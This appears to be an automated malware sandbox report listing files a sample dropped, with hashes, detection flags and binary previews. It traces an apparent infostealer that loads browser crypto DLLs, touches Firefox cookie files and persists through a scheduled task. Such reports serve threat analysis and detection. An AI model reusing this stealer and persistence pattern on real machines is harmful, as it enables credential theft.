C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	983040
Entropy (8bit):	7.9416884155578895
Encrypted:	false
SSDEEP:	24576:RKCe+wbXjkcT8b9ePL85W00eKO21cZ9/31kSEdK:RpHqTkcTegPL8khTOWKkSaK
MD5:	04C18CB01E6A3734CE103ECDCC287EFA
SHA1:	555DC38073CB01B75CF53C43D8A546FB54D37AF8
SHA-256:	FDAF97CDA146F6B4617421FE07DF788633205BEDC55260EFFE7C73128AA9D104
SHA-512:	E2EF7C8FCEC4031814808C16E273B2BA973E1C62AA8ED4D956F0FED8A7B44F5EFB45F08360E4C7841A8482B7977BB4565DFFE46C68CA3A5D8A0CC4207B76642E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...b.Pg..............................H...........@.......................... I.....=d....@.................................\0..p.... .......................1...................................................................................... . .........2..................@....rsrc........ .......B..............@....idata .....0.......F..............@... ..)..@.......H..............@...zhhhapid.....0/......J..............@...ciolgrdz......H.....................@....taggant.0....H.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1012962001\931e3b56d4.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	983040
Entropy (8bit):	7.9416884155578895
Encrypted:	false
SSDEEP:	24576:RKCe+wbXjkcT8b9ePL85W00eKO21cZ9/31kSEdK:RpHqTkcTegPL8khTOWKkSaK
MD5:	04C18CB01E6A3734CE103ECDCC287EFA
SHA1:	555DC38073CB01B75CF53C43D8A546FB54D37AF8
SHA-256:	FDAF97CDA146F6B4617421FE07DF788633205BEDC55260EFFE7C73128AA9D104
SHA-512:	E2EF7C8FCEC4031814808C16E273B2BA973E1C62AA8ED4D956F0FED8A7B44F5EFB45F08360E4C7841A8482B7977BB4565DFFE46C68CA3A5D8A0CC4207B76642E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...b.Pg..............................H...........@.......................... I.....=d....@.................................\0..p.... .......................1...................................................................................... . .........2..................@....rsrc........ .......B..............@....idata .....0.......F..............@... ..)..@.......H..............@...zhhhapid.....0/......J..............@...ciolgrdz......H.....................@....taggant.0....H.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Documents\JDGIECGIEB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3197440
Entropy (8bit):	6.6643437173931295
Encrypted:	false
SSDEEP:	49152:iss4WRAOKdQGyTuFWIsh62H/KhNNgi+nC3yne+bS0hX:xs4WRAOKdQGIkshpH/UNFOexo9
MD5:	EA30F894FE762202951845239534C957
SHA1:	AFCCC92D4CB80FD6CCE247EBC4CD4F2AC19B3FF1
SHA-256:	E5028661C1FF34315D05DF120DA582B969DEDD2C61478AE31673F266921E795E
SHA-512:	7BA7C3F7C3A326061E8CE8E6F0E1FC58A4EEEA724D3467E005193E449E6A80D3A5A0A1EAF13A73D7D9129D4A9C10797A86163E740DE4E8DB24479E863789701C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@...........................1.....H"1...@.................................W...k............................0...............................0..................................................... . ............................@....rsrc...............................@....idata ............................@...fkuoncfi..........................@...cgsmbisr......0.......0.............@....taggant.0....0.."....0.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Dec 7 13:06:22 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.980388852760144
Encrypted:	false
SSDEEP:	48:8O0d0T4gIHVidAKZdA1oehwiZUklqehXy+3:8OHvTIy
MD5:	53316FB5A88FBA3D11AAE9EB43C0A9BE
SHA1:	DC301E94C98D253C22DD3B9A4B7EE1B4F917B98A
SHA-256:	C094604CB1037C057B7A9243040D5DA3C886AF9B5A04A1319DAFCB09E57C0099
SHA-512:	20C2709D88A26A632AAEBA97D01587671A4998245255CAFC35F304F45828493E43A479F4E3931987490D378181DBABA4A80407C2F08A7A95B715177FEF42AC41
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....Q.1.H..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.Y.p....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.p....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.p....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.p..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.p...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........^W.;.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Dec 7 13:06:22 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9939072700450704
Encrypted:	false
SSDEEP:	48:8a0d0T4gIHVidAKZdA1leh/iZUkAQkqeh4y+2:8aHvh9QVy
MD5:	C115CC348EEF53B2B9E532E9A1B421AE
SHA1:	3AAE24E472816A75046FC7211B9069E48E8856D0
SHA-256:	222CC114185B27CC85D5704EA74FF06BFF022B006479FD27878B6528FFE1E918
SHA-512:	4E51E5B15A8410CF3ED09F874F373228731D00BC3C2FD8C7E58840E390D9D992CE0AC78359CD3630B3A0263240982537C89EA9A8480304A6163DD3FBAFDF3659
Malicious:	false
Preview:	L..................F.@.. ...$+.,....4..1.H..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.Y.p....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.p....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.p....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.p..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.p...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........^W.;.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 07:00:51 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.0067264642113605
Encrypted:	false
SSDEEP:	48:8F0d0T4gbHVidAKZdA14t5eh7sFiZUkmgqeh7sGy+BX:8FHvIn0y
MD5:	065D80073E55015662EA35BCC00E6CA9
SHA1:	85DE9ED7D443AFFB10531F58C5F08B6250D50328
SHA-256:	C87D79EA3D2957857D0159F9946CBE6A08D41F397B5894E83658B21D33A9841B
SHA-512:	063AB7B927147617BA3A7FA962E69C1FFAF54C7CEC18002FCB7F09570246C604FB3170EBEBDF0D221008CC5A704DC994D85940D1E8BD5025B0384F3278BAC727
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....C..b...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.Y.p....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.p....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.p....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.p..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VEW.@...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........^W.;.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Dec 7 13:06:21 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9927548084700404
Encrypted:	false
SSDEEP:	48:8+0d0T4gIHVidAKZdA16ehDiZUkwqehMy+R:8+HvSey
MD5:	8F17E404A5D8CF2309CEA68AC6085B26
SHA1:	CD2543755154337F1DEBCC37DE8EA60F3C155EDC
SHA-256:	50F159CA3D9683C67B928DEE24E29E800EBE49798576B348251AF0A32B13662B
SHA-512:	050E995B38DAF893118FC66FC224BF44EF1A4ED9F575E0F8C388967A95111228B40783671A13B07B77E8A97F7A847D0AD313DD514E80C523B89448D3BE5424F1
Malicious:	false
Preview:	L..................F.@.. ...$+.,....}..1.H..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.Y.p....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.p....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.p....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.p..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.p...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........^W.;.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Dec 7 13:06:22 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9819155330249485
Encrypted:	false
SSDEEP:	48:8a0d0T4gIHVidAKZdA1UehBiZUk1W1qehyy+C:8aHvi9Sy
MD5:	5899FD93F7E1BF5964867D40D55ABF4D
SHA1:	3B113746ECB657E8FF3C77F13FADC04730A84262
SHA-256:	1CDA9EF9CA376DD47F5BB371FF0745460E87CE8A400219B33D2E139521457A1F
SHA-512:	675D03400A9A145923EB53C5426FDC9411F734145D23498B003836BF844833E679AFD5F21241FDAB2710AF5D6C7989D37D5F66E3A35002E0523F5CBD052FB5C4
Malicious:	false
Preview:	L..................F.@.. ...$+.,......1.H..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.Y.p....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.p....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.p....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.p..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.p...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........^W.;.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Dec 7 13:06:21 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.992302275988158
Encrypted:	false
SSDEEP:	48:8A90d0T4gIHVidAKZdA1duTrehOuTbbiZUk5OjqehOuTb0y+yT+:8A9HvjTYTbxWOvTb0y7T
MD5:	4E00164A2C1905C1A6BB6AEEAE02EAE2
SHA1:	78178342D7501F754ECCBD96636205D5989FB60B
SHA-256:	8AD5D8AE6750B2809A8D404B169568FB26A81744E1CCDD1A898E1F74796985E2
SHA-512:	D0F1FC35A6A979A16483544326B78F80553D14DE2F8AFAB1D1FF59E35487FFB2BF4F60EC9130A235816F9BA0F7B31E75EA21EA1B8A4703CCB4039E1D414A11E8
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....R.1.H..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.Y.p....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.p....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.p....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.p..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.p...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........^W.;.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\JDGIECGIEB.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3197440
Entropy (8bit):	6.6643437173931295
Encrypted:	false
SSDEEP:	49152:iss4WRAOKdQGyTuFWIsh62H/KhNNgi+nC3yne+bS0hX:xs4WRAOKdQGIkshpH/UNFOexo9
MD5:	EA30F894FE762202951845239534C957
SHA1:	AFCCC92D4CB80FD6CCE247EBC4CD4F2AC19B3FF1
SHA-256:	E5028661C1FF34315D05DF120DA582B969DEDD2C61478AE31673F266921E795E
SHA-512:	7BA7C3F7C3A326061E8CE8E6F0E1FC58A4EEEA724D3467E005193E449E6A80D3A5A0A1EAF13A73D7D9129D4A9C10797A86163E740DE4E8DB24479E863789701C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@...........................1.....H"1...@.................................W...k............................0...............................0..................................................... . ............................@....rsrc...............................@....idata ............................@...fkuoncfi..........................@...cgsmbisr......0.......0.............@....taggant.0....0.."....0.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Documents\JDGIECGIEB.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.4110507029283923
Encrypted:	false
SSDEEP:	6:FStP+7s1X7L1UEZ+lX1CGdKUe6tkHs+Zgty0lztst0:FC+q7BQ1CGAFBZgtVzyt0
MD5:	B6767B1FCC1BC13DC04041D29C74742C
SHA1:	E020459296AD62B46206CAB039CEA354E80A2B9C
SHA-256:	CB3AE960DDEA1CDA29C0BD707619E2409C66F9096CFAE22E44E435AD38B87C27
SHA-512:	38350280AA26F06D86EC263C9F50E7E94C0997EEE6BE77CAD21C3FCF4757400CBBA0DF9214FE77415036193EEA72249376B03EE81C5359A37F0BC9C91E0AC0DF
Malicious:	false
Preview:	.....7....%E.9.c!..>F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.h.u.b.e.r.t.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........H.U.B.E.R.T.-.P.C.\.h.u.b.e.r.t...................0...................@3P.........................

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2412)
Category:	downloaded
Size (bytes):	179299
Entropy (8bit):	5.547369532089825
Encrypted:	false
